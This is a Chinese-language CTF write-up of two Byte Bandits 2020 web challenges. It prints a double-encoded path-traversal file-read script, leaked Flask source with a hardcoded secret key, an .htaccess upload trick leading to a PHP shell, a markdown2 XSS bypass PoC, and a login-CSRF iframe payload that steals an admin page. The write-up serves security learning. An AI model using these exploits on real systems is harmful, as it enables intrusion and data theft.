Byte Bandits CTF 2020 Writeup

Author:颖奇L’Amore Blog:www.gem-love.com

比赛质量很高,决定本地搭环境复现


ImgAccess2

I heard they have something special running at secretserver:1337 https://github.com/ByteBandits/bbctf-2020/tree/master/web/ImgAccesss

考点: FUZZ、任意文件读取、.htaccess重写
难度: 较难(需要分析+较强的fuzz能力)

截止到写这篇WP,CTFtime上还没有关于这题目的任何wp 自己搭个环境做一下,docker-compose up直接一步到位 官方WP只有简单的几个字:

  • python source code can be leaked by /uploads endpoint
  • source code contains hint about apache
  • apache allows config override using .htaccess

剩下的还是需要自己做了

RECON

题目提供了一个上传功能 在回包有这样的字段:

Server: gunicorn/19.9.0

说明题目是Python写的,Python的上传绕过getshell还没遇到过,目测这个题也没有这么简单粗暴 简单测试发现只能穿图片,然后caption随便写没什么卵用,上传之后回来到/upload页面,只有个链接指向到/view/ip的md5/原始文件名: 跟进,发现指向了/uploads/ip的md5/原始文件名,这个路径是文件的真实路径:

FUZZ

在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500: 这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是/uploads/:path这样的 既然如此,是否可以通过构造特定的:path来SSRF?经过艰难的大量的测试+一些自己的思考,发现二次编码绕过可以实现任意文件读取:

#!/usr/bin/env python3
#coding: utf8
#__author__: 颖奇L'Amore www.gem-love.com

import requests
from urllib.parse import *
file_to_read = "/etc/passwd"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../../../"+file_to_read))
r = requests.get(url)
print(r.text)

文件读取

现在能够做到任意文件读取了,那么读什么?一般python源代码都写在app.py中,于是读一下:

file_to_read = "app.py"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../"+file_to_read))

得到:

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
return re.sub(r"(\.\./)", "", filename)

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]

if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
app.run(port=5000)

第一处关键代码:

@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

这里出题人直接给了Hint,告诉有一个/uploads_apache使用了Apache 第二处文件代码:

ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

这个基本是fuzz不出来,后缀白名单除了png和jpg,还给了个s

htaccess重写

根据他的hint,直接使用Apache访问刚刚上传的图片发现是可以打开的

http://localhost:7003/uploads\_apache/f528764d624db129b32c21fbca0cb8d6/y1ngshell.jpg

再次回到app.py看源码,本来以为文件名经过了werkzeug.utils.secure_filename()处理了

secure_filename(file.filename)

来撸一下这个函数的源码: 可以看到,这个secure_filename()会把开头的/../这样的跨目录的危险内容给剥离 加之app.py中允许了s这个后缀,我的第一感觉就是上传.htacces/..s来绕过,首先这可以被认为是一个s为后缀的文件可以绕过后缀的白名单检测,然后再存文件前被secure_filename()给剥掉/..这样就拼接成了.htaccess实现了Apache规则文件重写。 然而本地测试发现是不可以的,只有/..在开头时候才给剥掉 没其他现成的思路了,只能去手工测试,结果神奇的事情发生了,居然莫名其妙的上传成功了并且被处理成了.htaccess 后来guoke师傅告诉,才反应起来,这个secure_filename()是它自定义的函数:

def secure_filename(filename): 
return re.sub(r"(\.\./)", "", filename)

服务器正好配置了PHP,这样就getshell了

wget内网主机得到flag:flag{w3ll_pl4y3D_h3ck3rm4n!}


Notes APP

noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/

考点: Markdown XSS、CSRF、XFS
难度:
分析

题目给了Docker源码,简单粗暴:

打开题目网页,可以发现能够注册登陆,然后有个输入框能输入东西(前端很美观) 在源码里发现可以把URL发给管理员看:

@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
if request.method == "POST":
url = request.form.get("url")
token = request.form.get("g-recaptcha-response")
r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
'secret': os.environ.get('RECAPTCHA_SECRET'),
'response': token
})
if r.json()['success']:
job = q.enqueue(visit_url, url, result_ttl = 600)
flash("Our admin will visit the url soon.")
return render_template("visit_link.html", job_id = job.id)
else:
flash("Recaptcha verification failed")

return render_template("visit_link.html")

管理员确实会访问:

async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()


def visit_url(url):
asyncio.get_event_loop().run_until_complete(main(url))

所以基本肯定是个XSS类题目

Markdown2 XSS

在源码中注意到如下代码:

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
# markdown support!!
current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
db.session.commit()
return redirect("/profile")

使用了Markdown2,因为safe_mode = True的缘故,<script></p>等标签标签会被转义为[HTML_REMOVED],无法直接XSS: 通过搜索Google,发现了Markdown2的XSS漏洞,链接:

Filter bypass leading to XSS

PoC:

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

但是,这是一个Self XSS,不能交给管理员看,因为分析代码可知,管理员登录了自己的账户,看到的是他自己的留言板,我们自己的留言板只能被自己看到。 需要想办法得到管理员页面的内容才能得到flag

登录

可以看到登录时使用的是get而不是post,如果以登录就直接跳转到/profile:

@app.route("/login", methods = ["GET", "POST"])
def login():
if current_user.is_authenticated:
return redirect("/profile")

if request.args.get("username"):
# register user
id = request.args.get('username')
password = request.args.get('password')
user = User.query.filter_by(id = id).first()
if user and user.check_password(password = password):
login_user(user)
return redirect("/profile")

flash('Incorrect creds')
return redirect("/login")
return render_template("login.html")

所以可以轻松的构造出一个登录自己账号的连接,比如

https://notes.web.byteband.it/login?username=y1ng&password=y1ng

CSRF+XFS

现在并不知道管理员的账号密码(如果知道的话 这个就已经做完了),并且凭借做题经验来讲,这种允许自己注册账户并登陆的题目,十有八九和SQL注入无关,分析代码可知本题目使用了Redis并且登陆确实不存在SQL注入

管理员使用我们的帐户登录并不能显示它自己的Profile页面,所以admin的profile可能会预先显示在iframe中,然后logout和登录我们的帐户的操作在另一个iframe 在login()中,如果已登录就会直接跳转:

if current_user.is_authenticated:
return redirect("/profile")

所以可以把payload放在我们自己的profile中,在新的iframe中通过CSRF登录我们自己的账户来触发Payload,然后Payload窃取了管理员原始iframe,得到flag。因为两个iframe并不存在跨域问题,所以这个XFS(跨框架脚本)攻击是可行的

时间问题

但是还有个问题:

async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()

正如sigflag所说的,本地打得通,题目不生效,因为他page.click('button')登录之后不会等你payload被执行就直接browser.close()了 所以需要手工添加延时,让browser花更长时间来解析,才能够让Payload正常执行,使用graneed的脚本:

<html>
<head>
<script>
function sleep(waitMsec){
var startMsec = new Date();
while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
var adminframe = document.createElement("iframe");
adminframe.name = "adminframe";
adminframe.src = "https://notes.web.byteband.it/profile";
var body = document.querySelector("body");
body.appendChild(adminframe);
sleep(3000);
var logoutframe = document.createElement("iframe");
logoutframe.src = "https://notes.web.byteband.it/logout";
body.appendChild(logoutframe);
sleep(3000);
var loginframe = document.createElement("iframe");
loginframe.src = "https://notes.web.byteband.it/login?username=y1ng&password=y1ng";
body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

在自己服务器上创建这个页面,然后在自己profile中使用如下Payload:

<http://g<!s://q?<!-<[hoge;/*](http://g)->a>

之后来到visit_link把我们的html页面提交: 服务器上nc监听就得到了返回的数据: 解base64:

<div class="hero is-fullheight is-centered is-vcentered is-primary">
<div class="hero-head">
<nav class="navbar">
<div class="container">
<div class="navbar-brand">
<a href="/" class="navbar-item">
MyNotes
</a>
</div>
<div class="navbar-menu">
<div class="navbar-end">
<span class="navbar-item">
<a href="/logout" class="button is-primary is-inverted">
<span>Logout</span>
</a>
</span>
</div>
</div>
</div>
</nav>
</div>
<div class="hero-body columns is-centered has-text-centered">
<div class="column is-4">
<div class="title">
Howdy admin!
</div>
<!-- so that user can write html -->
<p>flag{ch41n_tHy_3Xploits_t0_w1n} </p>
<br>
<form method="post" action="/update_notes">
<textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
<input class="button is-fullwidth" type="submit" value="Update" name="">
</form>
</div>
</div>
</div>


<footer class="footer">
<div class="content has-text-centered">
<p>
<strong>MyNotes</strong> by n0ob.
</p>
</div>
</footer>

flag:flag{ch41n_tHy_3Xploits_t0_w1n}


References

https://graneed.hatenablog.com/entry/2020/04/13/004211 https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/

Author: Y1ng
Link: https://www.gem-love.com/2020/04/14/byte-bandits-ctf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!